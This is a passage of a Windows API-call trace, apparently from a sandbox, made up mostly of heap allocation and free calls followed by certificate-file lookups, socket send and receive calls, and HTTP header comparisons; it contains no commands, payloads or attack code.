Size=0x3) returned 0x2d4ac18 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36388 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35188 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359b0 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36028 [0119.257] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d350f8, Size=0x20) returned 0x2d4a3d0 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362c8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350f8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d363e8 [0119.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35758 | out: hHeap=0x2a0000) returned 1 [0119.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354b8 | out: hHeap=0x2a0000) returned 1 [0119.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0119.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354b8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35758 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0119.257] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354b8, Size=0x20) returned 0x2d4a218 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354b8 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36108 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bf0 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b90 [0119.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358f0 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36348 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35920 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b48 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360e8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bd8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351d0 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fe8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34e40 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363a8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0119.258] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354b8, Size=0x20) returned 0x2d4a4c0 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354b8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e10 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fa8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36308 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35c88 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35290 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35de8 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d36368 [0119.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e88 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ace8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358f0 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac38 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b90 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bf0 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab58 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b48 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac28 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35920 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e40 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35038 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aad8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bd8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e10 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354b8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f18 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab98 | out: hHeap=0x2a0000) returned 1 [0119.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35290 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a4c0 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357d0 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35818 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e28 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350f8 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a3d0 | out: hHeap=0x2a0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fc8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4ab98 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acf8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aad8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 0x2d460d8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350f8 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e28 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35818 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36168 [0119.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a3d0 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35068 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357d0 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36208 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35290 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56300 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35170 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35c88 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ac08 [0119.261] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d350f8, Size=0x20) returned 0x2d4a4c0 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350f8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354b8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35de8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36368 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e10 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bd8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x73) returned 0x2d5b300 [0119.261] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a4c0, Size=0x40) returned 0x2d365f0 [0119.261] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35980, Size=0x20) returned 0x2d4a3f8 [0119.261] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0119.261] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fa8 | out: hHeap=0x2a0000) returned 1 [0119.261] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.261] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34fa8, Size=0x20) returned 0x2d4a268 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34fa8, Size=0x20) returned 0x2d4a1c8 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f60, Size=0x20) returned 0x2d4a3f8 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35740, Size=0x20) returned 0x2d4a1c8 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35740, Size=0x20) returned 0x2d4a358 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f60, Size=0x20) returned 0x2d4a3f8 [0119.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f30, Size=0x10) returned 0x2d358a8 [0119.262] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.262] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0xf, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0119.262] GetLastError () returned 0x3 [0119.262] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0119.262] GetLastError () returned 0x3 [0119.262] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.262] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d510f0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0xf, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0119.262] GetLastError () returned 0x3 [0119.263] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0119.263] GetLastError () returned 0x3 [0119.263] WSASetLastError (iError=0) [0119.263] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.263] SetLastError (dwErrCode=0x0) [0119.263] WSASetLastError (iError=0) [0119.263] recv (in: s=0x12c, buf=0x2d51900, len=148, flags=0 | out: buf=0x2d51900*) returned 148 [0119.264] WSASetLastError (iError=0) [0119.264] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.264] SetLastError (dwErrCode=0x0) [0119.264] WSASetLastError (iError=0) [0119.264] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0119.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x97fe59a0, dwHighDateTime=0x1d60051)) [0119.268] WSASetLastError (iError=0) [0119.268] send (s=0x12c, buf=0x2d571e8*, len=126, flags=0) returned 126 [0119.268] SetLastError (dwErrCode=0x0) [0119.268] WSASetLastError (iError=0) [0119.268] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.285] SetLastError (dwErrCode=0x0) [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.285] SetLastError (dwErrCode=0x0) [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.285] SetLastError (dwErrCode=0x0) [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0119.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0119.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0119.286] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0119.286] WSASetLastError (iError=0) [0119.286] send (s=0x12c, buf=0x2d409d3*, len=226, flags=0) returned 226 [0119.286] GetTickCount64 () returned 0x11508b8 [0119.286] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0119.313] SetLastError (dwErrCode=0x0) [0119.313] SetLastError (dwErrCode=0x0) [0119.313] WSASetLastError (iError=0) [0119.313] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.313] SetLastError (dwErrCode=0x0) [0119.313] WSASetLastError (iError=0) [0119.313] recv (in: s=0x12c, buf=0x2d51900, len=621, flags=0 | out: buf=0x2d51900*) returned 621 [0119.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0119.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.313] GetTickCount64 () returned 0x11508d7 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0119.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0119.314] 